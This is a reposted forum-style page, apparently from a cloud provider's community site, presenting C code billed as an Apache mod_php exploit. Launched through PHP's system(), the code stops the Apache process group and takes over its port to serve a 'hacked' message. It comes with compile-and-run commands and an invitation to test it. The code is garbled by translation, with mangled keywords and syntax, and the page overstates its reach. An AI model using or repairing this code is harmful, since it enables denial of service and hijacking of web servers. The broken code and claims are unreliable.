Apache Full Version Vulnerability!

Source: Internet
Author: User
Copied from outside China, this vulnerability can stop all Apache servers. It has not been tested. If you are interested, you can test it! It doesn't matter if you don't understand text. You don't know, Google knows!
-------------------------------------
The original text is as follows:
Hi this exploit can stop all Apache in server then you can connect by Netcat and you dont facing any problem like this problem
CED: 97% of original size [527x89]-click to view full image

Quote
/*************************************** ****************/
/**/
/* Apache's mod_php exploit */
/* Stops all Apache processes (kernel t root), and */
/* Listens to Apache's port */
/**/
/* Execute this via system () function of PHP */
/**/
/* Tested on :*/
/* Apache: 2.2.3 */
/* PHP: 4.4.3, 4.4.4, 5.0.4, 5.1.4, 5.1.6, 5.2.0rc5 */
/**/
/* Coded by zero-cold, 17/08/07 */
/* [Tryag.com/cc] */
/**/
/*************************************** ****************/

# Include <unistd. h>
# Include <sys/types. h>
# Include <sys/socket. h>
# Include <signal. h>
# Include <string. h>
# Include <stdio. h>
# Include <stdlib. h>
# Include <netinet/in. h>

Char * Header = "HTTP/1.1 200 OK \ r \ ncontent-type: text/html \ r \ n \ r \ nsorry, the server is unavailable: hacked \ r \ n ";

Char TMP [1024];

Int main ()
{
Chdir ("/"); // do it, because it is recommended for daemons
Signal (sigchld, sig_ign); // do not bother if a child dies
Kill (getppid (), sigkill); // kill parent (to avoid 'zombies ')

If (Fork () return 0; // daemonize, and parent exit
Sleep (1); // wait for parent to exit (we don't want him to catch sigstop)

Int P = getsid (0); // get current process group ID
Setsid (); // become session leader
Kill (-P, sigstop); // good night, Apache process group

Int sock;
Struct sockaddr_in clientname;

For (sock = 3; sock <getdtablesize (); sock ++) // find valid socket handle
If (Listen (sock, 10) = 0) break;

While (1)
{
Int new;
Unsigned size = sizeof (clientname );
New = accept (sock, (struct sockaddr *) & clientname, & size );

If (New <0)
Return 1;

If (Fork () = 0) // child will handle this connection, parent will listen for New Connection
{

Write (new, header, strlen (header ));
Sprintf (TMP, "<br> you are % s: % HD \ n", inet_ntoa (clientname. sin_addr), ntohs (clientname. sin_port ));
Write (new, TMP, strlen (TMP) + 1 );

Shutdown (new, 2 );
Close (new );

Return 0;
}
}
}

GCC filname. C-o filename
./Filename

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.